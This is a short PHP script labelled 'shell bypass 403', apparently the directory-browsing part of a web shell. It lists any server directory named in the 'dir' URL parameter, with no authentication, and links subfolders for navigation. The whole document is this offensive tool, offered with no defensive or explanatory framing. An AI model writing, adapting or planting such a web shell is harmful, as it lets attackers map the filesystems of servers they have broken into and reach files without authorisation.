shell bypass 403
<?php
if (isset($_GET['dir'])) {
$currentDir = realpath($_GET['dir']);
} else {
$currentDir = getcwd();
}
echo "<h2>Current Directory: $currentDir</h2>";
echo "<ul>";
if ($currentDir !== dirname($currentDir)) {
echo "<li><a href='?dir=" . urlencode(dirname($currentDir)) . "'>[Go Up]</a></li>";
}
$files = scandir($currentDir);
foreach ($files as $file) {
if ($file !== '.') {
$filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) {
echo "<li>[DIR] <a href='?dir=" . urlencode($filePath) . "'>$file</a></li>";
} else {
echo "<li>$file</li>";
}
}
}
echo "</ul>";
?>